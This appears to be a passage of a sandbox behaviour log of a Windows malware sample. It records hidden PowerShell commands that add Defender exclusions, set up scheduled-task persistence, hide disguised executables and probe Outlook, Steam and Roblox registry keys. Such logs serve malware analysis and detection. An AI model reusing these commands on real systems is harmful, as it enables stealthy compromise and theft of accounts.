  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXAAuAE4ARQBUAFwAXABGAHIAYQBtAGUAdwBvAHIAawBcAFwASQBFAFUAcABkAGEAdABlAC4AZQB4AGUAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:3192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAEkARQBVAHAAZABhAHQAZQAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "IEUpdateSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:6152
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn IEUpdateSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:6880
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn IEUpdateSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "IEUpdateSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:3272
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn IEUpdateSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:6508
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn IEUpdateSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Spelling" 2>nul'"
  2⤵
  PID:4416
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Spelling 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6952
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Spelling
      4⤵
      Views/modifies file attributes
      PID:4732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()
  2⤵
  PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe" 2>nul'"
  2⤵
  PID:6836
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6744
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe
      4⤵
      Views/modifies file attributes
      PID:1180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAHAAZQBsAGwAaQBuAGcAJwAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9AGMAYQB0AGMAaAB7AH0A
  2⤵
  PID:5872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABTAHAAZQBsAGwAaQBuAGcAXABcAG0AcwBjAG8AcgBzAHYAdwAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Microsoft\Office\15.0\Outlook\Profiles" /s 2>nul'"
  2⤵
  PID:2328
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Microsoft\Office\15.0\Outlook\Profiles /s 2>nul"
    3⤵
    PID:6412
  - - C:\Windows\system32\reg.exe
      reg query HKCU\Software\Microsoft\Office\15.0\Outlook\Profiles /s
      4⤵
      Modifies registry key
      PID:6204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAG0AcwBjAG8AcgBzAHYAdwAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:6040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Valve\Steam" /v SteamPath 2>nul'"
  2⤵
  PID:6488
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Valve\Steam /v SteamPath 2>nul"
    3⤵
    PID:2484
  - - C:\Windows\system32\reg.exe
      reg query HKCU\Software\Valve\Steam /v SteamPath
      4⤵
      Modifies registry key
      PID:6396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "mscorsvwSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:6972
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn mscorsvwSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:2148
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn mscorsvwSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "mscorsvwSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:7104
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn mscorsvwSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:1736
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn mscorsvwSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\SOFTWARE\Roblox" /v InstallDir 2>nul'"
  2⤵
  PID:6284
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\SOFTWARE\Roblox /v InstallDir 2>nul"
    3⤵
    PID:7004
  - - C:\Windows\system32\reg.exe
      reg query HKCU\SOFTWARE\Roblox /v InstallDir
      4⤵
      Modifies registry key
      PID:6700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache" 2>nul'"
  2⤵
  PID:6260
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6976
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache
      4⤵
      Views/modifies file attributes
      PID:6984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\SOFTWARE\Roblox\RobloxSettings" /v LastUser 2>nul'"
  2⤵
  PID:7052
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\SOFTWARE\Roblox\RobloxSettings /v LastUser 2>nul"
    3⤵
    PID:1588
  - - C:\Windows\system32\reg.exe
      reg query HKCU\SOFTWARE\Roblox\RobloxSettings /v LastUser
      4⤵
      Modifies registry key
      PID:4852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand RwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEAAKAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFUAbgBpAG4AcwB0AGEAbABsAFwAKgAnACwAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABXAE8AVwA2ADQAMwAyAE4AbwBkAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABVAG4AaQBuAHMAdABhAGwAbABcACoAJwAsACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAVQBuAGkAbgBzAHQAYQBsAGwAXAAqACcAKQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAJABfAC4ARABpAHMAcABsAGEAeQBOAGEAbQBlAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAEQAaQBzAHAAbABhAHkATgBhAG0AZQAsAEQAaQBzAHAAbABhAHkAVgBlAHIAcwBpAG8AbgAsAFAAdQBiAGwAaQBzAGgAZQByACwASQBuAHMAdABhAGwAbABEAGEAdABlACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJwB7ADAAfQAgAHwAIAB7ADEAfQAgAHwAIAB7ADIAfQAgAHwAIAB7ADMAfQAnACAALQBmACAAJABfAC4ARABpAHMAcABsAGEAeQBOAGEAbQBlACwAJABfAC4ARABpAHMAcABsAGEAeQBWAGUAcgBzAGkAbwBuACwAJABfAC4AUAB1AGIAbABpAHMAaABlAHIALAAkAF8ALgBJAG4AcwB0AGEAbABsAEQAYQB0AGUAIAB9AA==
  2⤵
  PID:7056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6248
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6320
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe
      4⤵
      Views/modifies file attributes
      PID:6656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABUAG8AawBlAG4AQgByAG8AawBlAHIAXABcAEMAYQBjAGgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:2772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-ChildItem 'C:\$Recycle.Bin' -Recurse -Force -ErrorAction SilentlyContinue | Select-Object Name, Length, LastWriteTime | Format-Table -AutoSize"
  2⤵
  PID:6576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABUAG8AawBlAG4AQgByAG8AawBlAHIAXABcAEMAYQBjAGgAZQBcAFwAUwBwAGUAbABsAEMAaABlAGMAawAuAGUAeABlACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQBjAGEAdABjAGgAewB9AA==
  2⤵
  PID:6088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnAFMAcABlAGwAbABDAGgAZQBjAGsALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:6832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'dir /s /b C:\$Recycle.Bin 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3024
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "dir /s /b C:\$Recycle.Bin 2>nul"
    3⤵
    PID:6176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SpellCheckSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:6704
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SpellCheckSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:1660
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SpellCheckSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-ComputerRestorePoint | Format-List *"
  2⤵
  PID:6800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SpellCheckSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:4912
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SpellCheckSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:4740
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SpellCheckSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Credentials" 2>nul'"
  2⤵
  PID:6048
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Credentials 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4580
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Credentials
      4⤵
      Views/modifies file attributes
      PID:3140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe" 2>nul'"
  2⤵
  PID:6680
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe 2>nul"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:604
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe
      4⤵
      Views/modifies file attributes
      PID:1404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "NyxarWorkerState" /t REG_SZ /d "ORGANIZE_DONE|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277463159|3284|1784277530624" /f 2>nul'"
  2⤵
  PID:5992
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d ORGANIZE_DONE|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277463159|3284|1784277530624 /f 2>nul"
    3⤵
    PID:6640
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d ORGANIZE_DONE
      4⤵
      Modifies registry key
      PID:3200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
